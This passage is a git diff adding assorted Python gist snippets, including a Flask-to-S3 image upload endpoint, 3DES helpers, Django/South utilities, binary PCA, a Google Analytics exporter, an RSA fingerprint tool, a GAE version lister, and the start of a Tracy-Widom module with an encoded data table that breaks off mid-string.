+      but uploads should be queued using something like celery for
+      larger ones.
+"""
+from cStringIO import StringIO
+
+from boto.s3.connection import S3Connection
+from boto.s3.key import Key as S3Key
+from flask import Flask
+from flask.ext.restful import Api as FlaskRestfulAPI, Resource, reqparse, abort
+from werkzeug.datastructures import FileStorage
+
+## config
+ALLOWED_EXTENSIONS = ['jpg', 'jpeg', 'png']
+FILE_CONTENT_TYPES = { # these will be used to set the content type of S3 object. It is binary by default.
+    'jpg': 'image/jpeg',
+    'jpeg': 'image/jpeg',
+    'png': 'image/png'
+}
+AWS_ACCESS_KEY_ID = 'aws-access-key-id'
+AWS_SECRET_ACCESS_KEY = 'aws-secret-access-key'
+
+## app initilization
+app = Flask(__name__)
+app.config.from_object(__name__)
+
+## extensions
+api = FlaskRestfulAPI(app)
+
+## Helper Methods
+def upload_s3(file, key_name, content_type, bucket_name):
+    """Uploads a given StringIO object to S3. Closes the file after upload.
+
+    Returns the URL for the object uploaded.
+
+    Note: The acl for the file is set as 'public-acl' for the file uploaded.
+
+    Keyword Arguments:
+    file -- StringIO object which needs to be uploaded.
+    key_name -- key name to be kept in S3.
+    content_type -- content type that needs to be set for the S3 object.
+    bucket_name -- name of the bucket where file needs to be uploaded.
+    """
+    # create connection
+    conn = S3Connection(app.config['AWS_ACCESS_KEY_ID'], app.config['AWS_SECRET_ACCESS_KEY'])
+
+    # upload the file after getting the right bucket
+    bucket = conn.get_bucket(bucket_name)
+    obj = S3Key(bucket)
+    obj.name = key_name
+    obj.content_type = content_type
+    obj.set_contents_from_string(file.getvalue())
+    obj.set_acl('public-read')
+
+    # close stringio object
+    file.close()
+
+    return obj.generate_url(expires_in=0, query_auth=False)
+
+
+class FileStorageArgument(reqparse.Argument):
+    """This argument class for flask-restful will be used in
+    all cases where file uploads need to be handled."""
+    
+    def convert(self, value, op):
+        if self.type is FileStorage:  # only in the case of files
+            # this is done as self.type(value) makes the name attribute of the
+            # FileStorage object same as argument name and value is a FileStorage
+            # object itself anyways
+            return value
+
+        # called so that this argument class will also be useful in
+        # cases when argument type is not a file.
+        super(FileStorageArgument, self).convert(*args, **kwargs)
+
+
+## API Endpoints
+
+class UploadImage(Resource):
+
+    put_parser = reqparse.RequestParser(argument_class=FileStorageArgument)
+    put_parser.add_argument('image', required=True, type=FileStorage, location='files')
+
+    def put(self):
+        #TODO: a check on file size needs to be there.
+
+        args = self.put_parser.parse_args()
+        image = args['image']
+
+        # check logo extension
+        extension = image.filename.rsplit('.', 1)[1].lower()
+        if '.' in image.filename and not extension in app.config['ALLOWED_EXTENSIONS']:
+            abort(400, message="File extension is not one of our supported types.")
+
+        # create a file object of the image
+        image_file = StringIO()
+        image.save(image_file)
+
+        # upload to s3
+        key_name = '{0}.{1}'.format('some-name', extension)
+        content_type = app.config['FILE_CONTENT_TYPES'][extension]
+        bucket_name = 'bucket-is-me'
+        logo_url = upload_s3(image_file, key_name, content_type, bucket_name)
+        
+        return {'logo_url': logo_url}
+
+
+api.add_resource(UploadImage, '/upload_image')
+
+
+if __name__ == '__main__':
+    app.run(debug=True)
\ No newline at end of file
diff --git a/hard-gists/7230348/._snippet.py b/hard-gists/7230348/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7230348/._snippet.py differ
diff --git a/hard-gists/7230348/snippet.py b/hard-gists/7230348/snippet.py
new file mode 100644
index 00000000..6ddf1e1a
--- /dev/null
+++ b/hard-gists/7230348/snippet.py
@@ -0,0 +1,21 @@
+from Crypto.Cipher import DES3
+
+def _make_des3_encryptor(key, iv):
+    encryptor = DES3.new(key, DES3.MODE_CBC, iv)
+    return encryptor
+
+
+def des3_encrypt(key, iv, data):
+    encryptor = _make_des3_encryptor(key, iv)
+    pad_len = 8 - len(data) % 8 # length of padding
+    padding = chr(pad_len) * pad_len # PKCS5 padding content
+    data += padding
+    return encryptor.encrypt(data)
+
+
+def des3_decrypt(key, iv, data):
+    encryptor = _make_des3_encryptor(key, iv)
+    result = encryptor.decrypt(data)
+    pad_len = ord(result[-1])
+    result = result[:-pad_len]
+    return result
diff --git a/hard-gists/7234995/._snippet.py b/hard-gists/7234995/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7234995/._snippet.py differ
diff --git a/hard-gists/7234995/snippet.py b/hard-gists/7234995/snippet.py
new file mode 100644
index 00000000..2396fe82
--- /dev/null
+++ b/hard-gists/7234995/snippet.py
@@ -0,0 +1,27 @@
+from south import db as db_module
+from south.migration.migrators import Migrator, DryRunMigrator
+
+
+def with_db(run_migration):
+
+    def run_migration_with_db(self, migration, database):
+        migration_db = getattr(migration._migration.Migration,
+                               'database', None)
+        if migration_db is not None:
+            print "Switching to db '%s'" % migration_db
+            _pev_db = db_module.db
+            db_module.db = db_module.dbs[migration_db]
+            migration.migration_instance().db = db_module.db
+            database = migration_db
+        try:
+            run_migration(self, migration, database)
+        finally:
+            if migration_db is not None:
+                print "Switching back to previous db"
+                db_module.db = _pev_db
+                delattr(migration.migration_instance(), 'db')
+
+    return run_migration_with_db
+
+Migrator.run_migration = with_db(Migrator.run_migration)
+DryRunMigrator.run_migration = with_db(DryRunMigrator.run_migration)
\ No newline at end of file
diff --git a/hard-gists/7236266/._snippet.py b/hard-gists/7236266/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7236266/._snippet.py differ
diff --git a/hard-gists/7236266/snippet.py b/hard-gists/7236266/snippet.py
new file mode 100644
index 00000000..8ef10cb2
--- /dev/null
+++ b/hard-gists/7236266/snippet.py
@@ -0,0 +1,30 @@
+from django.core.management.base import BaseCommand
+from mymodule import main
+import logging
+
+
+class Command(BaseCommand):
+    help = 'Do foo'
+
+    def handle(self, *args, **options):
+
+        # Setup logging
+        #
+        # Verbosity levels:
+        #   1 - prints nothing
+        #   2 - Prints log messages for just this module
+        #   3 or greater - Prints log messages from any module
+        options['verbosity'] = int(options['verbosity'])
+        if options['verbosity'] > 1:
+            if options['verbosity'] == 2:
+                # use logger for just this module
+                logger = logging.getLogger('mymodule')
+            else:
+                # use root logger
+                logger = logging.getLogger('')
+            console = logging.StreamHandler()
+            console.setLevel(logging.DEBUG)
+            console.setFormatter(logging.Formatter('%(name)s - %(levelname)s - %(message)s'))
+            logger.addHandler(console)
+
+        main()
diff --git a/hard-gists/723736/._snippet.py b/hard-gists/723736/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/723736/._snippet.py differ
diff --git a/hard-gists/723736/snippet.py b/hard-gists/723736/snippet.py
new file mode 100644
index 00000000..7967eff9
--- /dev/null
+++ b/hard-gists/723736/snippet.py
@@ -0,0 +1,123 @@
+""" 
+Author: Oliver Mitevski
+
+References:
+A Generalized Linear Model for Principal Component Analysis of Binary Data, 
+Andrew I. Schein; Lawrence K. Saul; Lyle H. Ungar
+
+The code was translated and adapted from Jakob Verbeek's 
+"Hidden Markov models and mixtures for Binary PCA" implementation in MATLAB
+
+"""
+import sys
+from scipy import *
+from numpy import *
+from scipy.linalg import diagsvd, svd
+from scipy.sparse import linalg
+import cPickle, gzip, numpy, time
+import pylab as p
+
+from save_load import save_file, load_file
+
+
+def	bpca(X, L=2, max_iters = 30):
+
+		N, D = X.shape
+		
+		x = X
+		X = 2*X - 1
+		
+		delta = random.permutation(N); Delta = X[delta[0],:]/100
+		U = 1e-4*random.random( (N,L) )
+		V = 1e-4*random.random( (L,D) )
+		#for c=1:C; Th(:,:,c) = U(:,:,c)*V(:,:,c) + ones(N,1)*Delta(c,:); end;
+		
+		Th = zeros((N,D)); Th = dot( U, V) + outer(ones((N,1)),Delta)
+		
+		
+		for iter in range(max_iters):
+			print iter
+			# Update U
+			T= tanh(Th/2)/Th
+			pp = outer(ones((N,1)),Delta[:])
+			
+			B = dot(V, (X - T*pp).T)
+			
+			for n in range(N):
+				cc = outer(ones((L, 1)), T[n,:])
+				A = dot(V*cc, V.T)
+				U[n,:] = numpy.linalg.solve(A, B[:,n]).T
+			
+			Th = dot( U, V) + outer(ones((N,1)),Delta)
+			
+			
+			Q = random.random(N) 
+			#normalize it
+			Q = sqrt(dot(Q,Q.conj()))
+			
+			# Update V
+			T= tanh(Th/2)/Th
+			U2 = c_[U, ones((N,1))]; 
+			U2 = U2*tile(Q,(L+1,1)).T;
+			B = dot(U2.T, X)
+			
+			for d in range(D):
+				ff = outer(ones((L+1,1)),T[:,d].T)
+				A = dot((U2.T * ff), c_[U, ones((N,1))])
+				V2 = numpy.linalg.solve(A, B[:,d])
+				Delta[d] = V2[-1]
+				
+				if L>0:
+					V[:,d] = V2[0:-1]
+					
+			Th = dot( U, V) + outer(ones((N,1)),Delta)
+	
+		print U.shape
+		
+		#plotM1(U[0:10000:1,0:2], labels[0:10000:10])
+		
+		U1, S, V = svd(U); Vh = V.T
+		U1, Vh = mat(U1[:,0:L]), mat(Vh[0:L,:]) 
+		codes = array(U*Vh.T)
+		
+		return codes
+		
+
+def main():	
+	# Load the dataset
+	try:
+		inputData = load_file(sys.argv[1])
+		sparse = False
+	except:
+		print 'loading sparse'
+		sparse = True
+		from scipy.io import mmio as mm
+		inputData = mm.mmread(sys.argv[1])
+		inputData = array(inputData.todense())
+
+	N, D = inputData.shape
+	print N, D	
+	
+# make data binary
+# 	for i in range(N):
+#  		for j in range(D):
+#  			if inputData[i,j] > 0.0:
+#  				inputData[i,j] = 1.0
+#  	save_file('news-10-stemmed.index2200/binDict', inputData)
+# 	print 'saved binary'
+	
+	X = inputData
+
+	labels = load_file(sys.argv[2])
+
+	start = time.clock()
+
+	codes = bpca(X, L=2, max_iters = 20)
+	
+	print "Time for computing binary PCA took", time.clock()-start
+	
+	save_file(sys.argv[3], codes)
+
+	
+if __name__ == "__main__":
+	main()
\ No newline at end of file
diff --git a/hard-gists/723a39071659bb763cff/._snippet.py b/hard-gists/723a39071659bb763cff/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/723a39071659bb763cff/._snippet.py differ
diff --git a/hard-gists/723a39071659bb763cff/snippet.py b/hard-gists/723a39071659bb763cff/snippet.py
new file mode 100644
index 00000000..16b26a21
--- /dev/null
+++ b/hard-gists/723a39071659bb763cff/snippet.py
@@ -0,0 +1,16 @@
+"""
+Author: Shubhanshu Mishra
+Posted this on the keras issue tracker at: https://github.com/fchollet/keras/issues/108
+Implementing a linear regression using Keras. 
+"""
+
+from keras.models import Sequential
+from keras.layers.core import Dense, Activation
+
+model = Sequential()
+model.add(Dense(2,1,init='uniform', activation='linear'))
+model.compile(loss='mse', optimizer='rmsprop')
+
+model.fit(X_train, y_train, nb_epoch=1000, batch_size=16,verbose=0)
+model.fit(X_train, y_train, nb_epoch=1, batch_size=16,verbose=1)
+score = model.evaluate(X_test, y_test, batch_size=16)
\ No newline at end of file
diff --git a/hard-gists/7247d72f97e6bfbf97809da5922f0e14/._snippet.py b/hard-gists/7247d72f97e6bfbf97809da5922f0e14/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7247d72f97e6bfbf97809da5922f0e14/._snippet.py differ
diff --git a/hard-gists/7247d72f97e6bfbf97809da5922f0e14/snippet.py b/hard-gists/7247d72f97e6bfbf97809da5922f0e14/snippet.py
new file mode 100644
index 00000000..a47db1fc
--- /dev/null
+++ b/hard-gists/7247d72f97e6bfbf97809da5922f0e14/snippet.py
@@ -0,0 +1,105 @@
+
+import argparse
+
+from apiclient.discovery import build
+from oauth2client.service_account import ServiceAccountCredentials
+
+import httplib2
+import numpy as np
+import urllib2 
+from urlparse import urljoin
+from bs4 import BeautifulSoup 
+from oauth2client import client
+from oauth2client import file
+from oauth2client import tools
+import csv
+
+def get_service(api_name, api_version, scope, key_file_location,
+                service_account_email):
+  """Get a service that communicates to a Google API.
+
+  Args:
+    api_name: The name of the api to connect to.
+    api_version: The api version to connect to.
+    scope: A list auth scopes to authorize for the application.
+    key_file_location: The path to a valid service account p12 key file.
+    service_account_email: The service account email address.
+
+  Returns:
+    A service that is connected to the specified API.
+  """
+
+  credentials = ServiceAccountCredentials.from_p12_keyfile(
+    service_account_email, key_file_location, scopes=scope)
+
+  http = credentials.authorize(httplib2.Http())
+
+  # Build the service object.
+  service = build(api_name, api_version, http=http)
+
+  return service
+
+def get_first_profile_id(service):
+  # Declaring variable 
+  profiles_list = []
+  ua_list = []
+  url_list = []
+
+  # Accessing property 
+  properties = service.management().webproperties().list(
+    accountId='~all').execute()
+
+  # Building property list
+  for property in properties.get('items', []):
+    ua_list.append(property.get('id'))
+
+  #looping through ua list
+  for ua in ua_list:
+    profiles = service.management().profiles().list(
+        accountId='XXXXXXX',
+        webPropertyId= ua ).execute()
+
+  # Building a list of Profile id
+    for profile in profiles.get('items', []):
+      profiles_list.append(profile.get('id'))
+
+  # Loop through the profiles_list and get the best pages for each profile 
+  for profile in profiles_list:
+    response = service.data().ga().get(
+      ids='ga:' + profile,
+      start_date='1daysAgo',
+      end_date='today',
+      metrics='ga:sessions',
+      dimensions='ga:pagePath',
+      sort='-ga:sessions',
+      filters='ga:sessions>400').execute()
+
+    url_list.extend(row[0] for row in response.get('rows', []))
+
+    #export in csv
+    csv_out = open(response.get('profileInfo').get('profileName') + '.csv', 'wb')
+    mywriter = csv.writer(csv_out)
+    for row in url_list:
+      mywriter.writerow([row])
+    csv_out.close()
+
+    #reset list
+    url_list = []
+
+
+def main():
+  # Define the auth scopes to request.
+  scope = ['https://www.googleapis.com/auth/analytics.readonly']
+
+  # Use the developer console and replace the values with your
+  # service account email and relative location of your key file.
+  service_account_email = 'email@projectnamehere.iam.gserviceaccount.com'
+  key_file_location = 'yourkeyname.p12'
+
+  # Authenticate and construct service.
+  service = get_service('analytics', 'v3', scope, key_file_location,
+    service_account_email)
+  profile = get_first_profile_id(service)
+
+if __name__ == '__main__':
+  main()
\ No newline at end of file
diff --git a/hard-gists/7270594/._snippet.py b/hard-gists/7270594/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7270594/._snippet.py differ
diff --git a/hard-gists/7270594/snippet.py b/hard-gists/7270594/snippet.py
new file mode 100644
index 00000000..26285d68
--- /dev/null
+++ b/hard-gists/7270594/snippet.py
@@ -0,0 +1,95 @@
+#!/usr/bin/env python
+import hashlib
+import optparse
+
+import paramiko
+from Crypto.PublicKey import RSA
+
+
+def insert_char_every_n_chars(string, char='\n', every=64):
+    return char.join(
+        string[i:i + every] for i in xrange(0, len(string), every))
+
+
+def get_rsa_key(key_location=None, key_file_obj=None, passphrase=None,
+                use_pycrypto=False):
+    key_fobj = key_file_obj or open(key_location)
+    try:
+        if use_pycrypto:
+            key = RSA.importKey(key_fobj, passphrase=passphrase)
+        else:
+            key = paramiko.RSAKey.from_private_key(key_fobj,
+                                                   password=passphrase)
+        return key
+    except (paramiko.SSHException, ValueError):
+        raise Exception(
+            "Invalid RSA private key file or missing passphrase: %s" %
+            key_location)
+
+
+def get_public_key(key):
+    return ' '.join([key.get_name(), key.get_base64()])
+
+
+def generate_rsa_key():
+    return paramiko.RSAKey.generate(2048)
+
+
+def get_private_rsa_fingerprint(key_location=None, key_file_obj=None,
+                                passphrase=None):
+    """
+    Returns the fingerprint of a private RSA key as a 59-character string (40
+    characters separated every 2 characters by a ':'). The fingerprint is
+    computed using the SHA1 (hex) digest of the DER-encoded (pkcs8) RSA private
+    key.
+    """
+    k = get_rsa_key(key_location=key_location, key_file_obj=key_file_obj,
+                    passphrase=passphrase, use_pycrypto=True)
+    sha1digest = hashlib.sha1(k.exportKey('DER', pkcs=8)).hexdigest()
+    fingerprint = insert_char_every_n_chars(sha1digest, ':', 2)
+    print '>>> RSA Private Key Fingerprint:\n%s' % fingerprint
+    return fingerprint
+
+
+def get_public_rsa_fingerprint(key_location=None, key_file_obj=None,
+                               passphrase=None):
+    """
+    Returns the fingerprint of the public portion of an RSA key as a
+    47-character string (32 characters separated every 2 characters by a ':').
+    The fingerprint is computed using the MD5 (hex) digest of the DER-encoded
+    RSA public key.
+    """
+    privkey = get_rsa_key(key_location=key_location, key_file_obj=key_file_obj,
+                          passphrase=passphrase, use_pycrypto=True)
+    pubkey = privkey.publickey()
+    md5digest = hashlib.md5(pubkey.exportKey('DER')).hexdigest()
+    fingerprint = insert_char_every_n_chars(md5digest, ':', 2)
+    print '>>> RSA Public Key Fingerprint:\n%s' % fingerprint
+    return fingerprint
+
+
+def main():
+    usage = 'usage: ec2fingerprint [options] <rsakey>'
+    parser = optparse.OptionParser(usage=usage)
+    parser.add_option("-p", "--public-only", dest="public_only",
+                      action="store_true",
+                      default=False)
+    parser.add_option("-P", "--private-only", dest="private_only",
+                      action="store_true",
+                      default=False)
+    opts, args = parser.parse_args()
+    if len(args) != 1:
+        parser.error("please specify a single RSA private key file")
+    path = args[0]
+    if opts.public_only:
+        get_public_rsa_fingerprint(key_location=path)
+    elif opts.private_only:
+        get_private_rsa_fingerprint(key_location=path)
+    else:
+        get_public_rsa_fingerprint(key_location=path)
+        print
+        get_private_rsa_fingerprint(key_location=path)
+
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/7275456/._snippet.py b/hard-gists/7275456/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7275456/._snippet.py differ
diff --git a/hard-gists/7275456/snippet.py b/hard-gists/7275456/snippet.py
new file mode 100644
index 00000000..c080e44d
--- /dev/null
+++ b/hard-gists/7275456/snippet.py
@@ -0,0 +1,77 @@
+# Here's how I got this to work:
+# 1. Download this client library into your GAE project: 
+#   https://developers.google.com/api-client-library/python/start/installation#appengine
+#   https://code.google.com/p/google-api-python-client/downloads/detail?name=google-api-python-client-gae-1.2.zip&can=2&q=
+# 2. Copy this file from the GAE SDK installed on your development machine
+#   google/appengine/tools/appengine_rpc_httplib2.py
+# 3. Modify the import statements as necessary
+# 4. Create a secrets.py file that defines a appcfg_refresh_token property
+# 5. Obtain the refresh token by
+#   Calling appcfg.py list_versions . --oauth2, this will open a browser so you can login with your Google Account
+#   Find and copy the refresh_token from ~/.appcfg_oauth2_tokens
+# 6. Create a handler that calls this list_version() command, upload to GAE, and fire away!
+
+import yaml
+
+from third_party.google_api_python_client import appengine_rpc_httplib2
+
+# NOTE: You must defined your own secrets.py file with the 
+import secrets
+import layer_cache
+
+# Not-so-secret IDs cribbed from appcfg.py
+# https://code.google.com/p/googleappengine/source/browse/trunk/python/google/appengine/tools/appcfg.py#144
+APPCFG_CLIENT_ID = '550516889912.apps.googleusercontent.com'
+APPCFG_CLIENT_NOTSOSECRET = 'ykPq-0UYfKNprLRjVx1hBBar'
+APPCFG_SCOPES = ['https://www.googleapis.com/auth/appengine.admin']
+
+
+def get_rpc_server():
+    """Constructs an HttpRpcServerOauth2 object impersonating the
+    account's refresh token specified in secrets.py.
+
+    This code was cribbed directly from appcfg.py.
+    """
+    source = (APPCFG_CLIENT_ID,
+                APPCFG_CLIENT_NOTSOSECRET,
+                APPCFG_SCOPES,
+                None)
+
+    rpc_server = appengine_rpc_httplib2.HttpRpcServerOauth2(
+        'appengine.google.com',
+        # NOTE: Here's there the refresh token is used
+        secrets.appcfg_refresh_token,
+        "appcfg_py/1.8.3 Darwin/12.5.0 Python/2.7.2.final.0",
+        source,
+        host_override=None,
+        save_cookies=False,
+        auth_tries=1,
+        account_type='HOSTED_OR_GOOGLE',
+        secure=True,
+        ignore_certs=False)
+
+    return rpc_server
+
+
+def list_versions():
+    """Returns a dictionary object with modules and their deployed versions.
+
+    Looks like: {
+        "default": [
+            "1025-0e42046ea0fd-highmembackend",
+            "1025-0e42046ea0fd-mapreducebackend",
+            "ah-builtin-python-bundle",
+            "staging",
+        ]
+    }
+    """
+    rpc_server = get_rpc_server()
+    # NOTE: You must insert the correct app_id here, too
+    response = rpc_server.Send('/api/versions/list', app_id="khan-academy")
+
+    # The response is in YAML format
+    parsed_response = yaml.safe_load(response)
+    if not parsed_response:
+        return None
+    else:
+        return parsed_response
\ No newline at end of file
diff --git a/hard-gists/7282002/._snippet.py b/hard-gists/7282002/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7282002/._snippet.py differ
diff --git a/hard-gists/7282002/snippet.py b/hard-gists/7282002/snippet.py
new file mode 100644
index 00000000..da722dea
--- /dev/null
+++ b/hard-gists/7282002/snippet.py
@@ -0,0 +1,186 @@
+__all__ = ['TracyWidom']
+import numpy as np
+from scipy.interpolate import interp1d
+from scipy.misc import derivative
+from scipy.optimize import brentq
+
+_digits_1 = '\xc6\'\x00\x00\xd1(\x00\x00\xe2)\x00\x00\xf9*\x00\x00\x16,\x00\x009-\x00\x00c.\x00\x00\x93/\x00\x00\xc90\x00\x00\x062\x00\x00J3\x00\x00\x944\x00\x00\xe65\x00\x00>7\x00\x00\x9e8\x00\x00\x05:\x00\x00s;\x00\x00\xe9<\x00\x00f>\x00\x00\xeb?\x00\x00xA\x00\x00\rC\x00\x00\xa9D\x00\x00NF\x00\x00\xfbG\x00\x00\xb1I\x00\x00oK\x00\x005M\x00\x00\x05O\x00\x00\xddP\x00\x00\xbeR\x00\x00\xa8T\x00\x00\x9bV\x00\x00\x98X\x00\x00\x9eZ\x00\x00\xae\\\x00\x00\xc7^\x00\x00\xea`\x00\x00\x17c\x00\x00Ne\x00\x00\x8fg\x00\x00\xdai\x00\x000l\x00\x00\x90n\x00\x00\xfap\x00\x00ps\x00\x00\xf0u\x00\x00|x\x00\x00\x12{\x00\x00\xb4}\x00\x00a\x80\x00\x00\x19\x83\x00\x00\xdd\x85\x00\x00\xad\x88\x00\x00\x88\x8b\x00\x00o\x8e\x00\x00c\x91\x00\x00b\x94\x00\x00n\x97\x00\x00\x87\x9a\x00\x00\xab\x9d\x00\x00\xdd\xa0\x00\x00\x1b\xa4\x00\x00f\xa7\x00\x00\xbe\xaa\x00\x00#\xae\x00\x00\x95\xb1\x00\x00\x14\xb5\x00\x00\xa1\xb8\x00\x00<\xbc\x00\x00\xe4\xbf\x00\x00\x9a\xc3\x00\x00]\xc7\x00\x00/\xcb\x00\x00\x0e\xcf\x00\x00\xfc\xd2\x00\x00\xf8\xd6\x00\x00\x03\xdb\x00\x00\x1c\xdf\x00\x00C\xe3\x00\x00y\xe7\x00\x00\xbe\xeb\x00\x00\x12\xf0\x00\x00u\xf4\x00\x00\xe6\xf8\x00\x00g\xfd\x00\x00\xf7\x01\x01\x00\x97\x06\x01\x00E\x0b\x01\x00\x04\x10\x01\x00\xd1\x14\x01\x00\xaf\x19\x01\x00\x9c\x1e\x01\x00\x99#\x01\x00\xa6(\x01\x00\xc3-\x01\x00\xf02\x01\x00-8\x01\x00z=\x01\x00\xd7B\x01\x00EH\x01\x00\xc3M\x01\x00RS\x01\x00\xf1X\x01\x00\xa0^\x01\x00`d\x01\x001j\x01\x00\x13p\x01\x00\x05v\x01\x00\x08|\x01\x00\x1c\x82\x01\x00A\x88\x01\x00v\x8e\x01\x00\xbd\x94\x01\x00\x15\x9b\x01\x00}\xa1\x01\x00\xf7\xa7\x01\x00\x82\xae\x01\x00\x1e\xb5\x01\x00\xcb\xbb\x01\x00\x8a\xc2\x01\x00Y\xc9\x01\x00:\xd0\x01\x00,\xd7\x01\x00/\xde\x01\x00C\xe5\x01\x00i\xec\x01\x00\xa0\xf3\x01\x00\xe8\xfa\x01\x00A\x02\x02\x00\xab\t\x02\x00\'\x11\x02\x00\xb4\x18\x02\x00R \x02\x00\x02(\x02\x00\xc2/\x02\x00\x947\x02\x00w?\x02\x00jG\x02\x00oO\x02\x00\x85W\x02\x00\xac_\x02\x00\xe4g\x02\x00-p\x02\x00\x87x\x02\x00\xf1\x80\x02\x00l\x89\x02\x00\xf8\x91\x02\x00\x95\x9a\x02\x00B\xa3\x02\x00\x00\xac\x02\x00\xce\xb4\x02\x00\xad\xbd\x02\x00\x9c\xc6\x02\x00\x9c\xcf\x02\x00\xab\xd8\x02\x00\xcb\xe1\x02\x00\xfb\xea\x02\x00:\xf4\x02\x00\x8a\xfd\x02\x00\xe9\x06\x03\x00Y\x10\x03\x00\xd7\x19\x03\x00f#\x03\x00\x03-\x03\x00\xb06\x03\x00l@\x03\x008J\x03\x00\x12T\x03\x00\xfb]\x03\x00\xf3g\x03\x00\xfaq\x03\x00\x0f|\x03\x002\x86\x03\x00d\x90\x03\x00\xa4\x9a\x03\x00\xf2\xa4\x03\x00N\xaf\x03\x00\xb8\xb9\x03\x00/\xc4\x03\x00\xb4\xce\x03\x00G\xd9\x03\x00\xe6\xe3\x03\x00\x93\xee\x03\x00L\xf9\x03\x00\x12\x04\x04\x00\xe5\x0e\x04\x00\xc4\x19\x04\x00\xb0$\x04\x00\xa8/\x04\x00\xab:\x04\x00\xbbE\x04\x00\xd6P\x04\x00\xfd[\x04\x00/g\x04\x00lr\x04\x00\xb4}\x04\x00\x07\x89\x04\x00e\x94\x04\x00\xcd\x9f\x04\x00?\xab\x04\x00\xbc\xb6\x04\x00B\xc2\x04\x00\xd3\xcd\x04\x00l\xd9\x04\x00\x0f\xe5\x04\x00\xbc\xf0\x04\x00q\xfc\x04\x00/\x08\x05\x00\xf6\x13\x05\x00\xc5\x1f\x05\x00\x9c+\x05\x00|7\x05\x00cC\x05\x00RO\x05\x00H[\x05\x00Fg\x05\x00Js\x05\x00V\x7f\x05\x00h\x8b\x05\x00\x80\x97\x05\x00\x9f\xa3\x05\x00\xc3\xaf\x05\x00\xee\xbb\x05\x00\x1e\xc8\x05\x00T\xd4\x05\x00\x8e\xe0\x05\x00\xce\xec\x05\x00\x13\xf9\x05\x00\\\x05\x06\x00\xa9\x11\x06\x00\xfb\x1d\x06\x00P*\x06\x00\xa96\x06\x00\x06C\x06\x00fO\x06\x00\xc9[\x06\x00/h\x06\x00\x98t\x06\x00\x03\x81\x06\x00q\x8d\x06\x00\xe0\x99\x06\x00Q\xa6\x06\x00\xc4\xb2\x06\x009\xbf\x06\x00\xae\xcb\x06\x00%\xd8\x06\x00\x9c\xe4\x06\x00\x14\xf1\x06\x00\x8c\xfd\x06\x00\x05\n\x07\x00}\x16\x07\x00\xf5"\x07\x00m/\x07\x00\xe3;\x07\x00ZH\x07\x00\xceT\x07\x00Ba\x07\x00\xb4m\x07\x00%z\x07\x00\x93\x86\x07\x00\x00\x93\x07\x00j\x9f\x07\x00\xd2\xab\x07\x007\xb8\x07\x00\x99\xc4\x07\x00\xf8\xd0\x07\x00S\xdd\x07\x00\xac\xe9\x07\x00\x00\xf6\x07\x00Q\x02\x08\x00\x9e\x0e\x08\x00\xe6\x1a\x08\x00*\'\x08\x00i3\x08\x00\xa4?\x08\x00\xd9K\x08\x00\nX\x08\x005d\x08\x00Zp\x08\x00z|\x08\x00\x94\x88\x08\x00\xa8\x94\x08\x00\xb5\xa0\x08\x00\xbc\xac\x08\x00\xbd\xb8\x08\x00\xb7\xc4\x08\x00\xaa\xd0\x08\x00\x95\xdc\x08\x00z\xe8\x08\x00W\xf4\x08\x00-\x00\t\x00\xfb\x0b\t\x00\xc1\x17\t\x00\x7f#\t\x004/\t\x00\xe2:\t\x00\x87F\t\x00#R\t\x00\xb6]\t\x00Ai\t\x00\xc2t\t\x00:\x80\t\x00\xa9\x8b\t\x00\x0e\x97\t\x00j\xa2\t\x00\xbc\xad\t\x00\x04\xb9\t\x00B\xc4\t\x00v\xcf\t\x00\x9f\xda\t\x00\xbf\xe5\t\x00\xd3\xf0\t\x00\xdd\xfb\t\x00\xdc\x06\n\x00\xd1\x11\n\x00\xba\x1c\n\x00\x98\'\n\x00k2\n\x003=\n\x00\xefG\n\x00\xa0R\n\x00E]\n\x00\xdfg\n\x00lr\n\x00\xee|\n\x00d\x87\n\x00\xcd\x91\n\x00+\x9c\n\x00|\xa6\n\x00\xc1\xb0\n\x00\xf9\xba\n\x00%\xc5\n\x00D\xcf\n\x00W\xd9\n\x00]\xe3\n\x00V\xed\n\x00B\xf7\n\x00!\x01\x0b\x00\xf3\n\x0b\x00\xb8\x14\x0b\x00p\x1e\x0b\x00\x1b(\x0b\x00\xb81\x0b\x00H;\x0b\x00\xcbD\x0b\x00@N\x0b\x00\xa8W\x0b\x00\x02a\x0b\x00Oj\x0b\x00\x8es\x0b\x00\xc0|\x0b\x00\xe3\x85\x0b\x00\xf9\x8e\x0b\x00\x02\x98\x0b\x00\xfc\xa0\x0b\x00\xe9\xa9\x0b\x00\xc7\xb2\x0b\x00\x98\xbb\x0b\x00[\xc4\x0b\x00\x10\xcd\x0b\x00\xb7\xd5\x0b\x00P\xde\x0b\x00\xdb\xe6\x0b\x00X\xef\x0b\x00\xc7\xf7\x0b\x00(\x00\x0c\x00{\x08\x0c\x00\xbf\x10\x0c\x00\xf6\x18\x0c\x00\x1e!\x0c\x009)\x0c\x00E1\x0c\x00C9\x0c\x003A\x0c\x00\x15I\x0c\x00\xe9P\x0c\x00\xaeX\x0c\x00f`\x0c\x00\x0fh\x0c\x00\xabo\x0c\x008w\x0c\x00\xb7~\x0c\x00(\x86\x0c\x00\x8c\x8d\x0c\x00\xe1\x94\x0c\x00(\x9c\x0c\x00a\xa3\x0c\x00\x8c\xaa\x0c\x00\xa9\xb1\x0c\x00\xb8\xb8\x0c\x00\xb9\xbf\x0c\x00\xad\xc6\x0c\x00\x92\xcd\x0c\x00j\xd4\x0c\x004\xdb\x0c\x00\xf0\xe1\x0c\x00\x9e\xe8\x0c\x00?\xef\x0c\x00\xd2\xf5\x0c\x00W\xfc\x0c\x00\xcf\x02\r\x009\t\r\x00\x96\x0f\r\x00\xe5\x15\r\x00\'\x1c\r\x00["\r\x00\x82(\r\x00\x9b.\r\x00\xa84\r\x00\xa7:\r\x00\x99@\r\x00}F\r\x00UL\r\x00 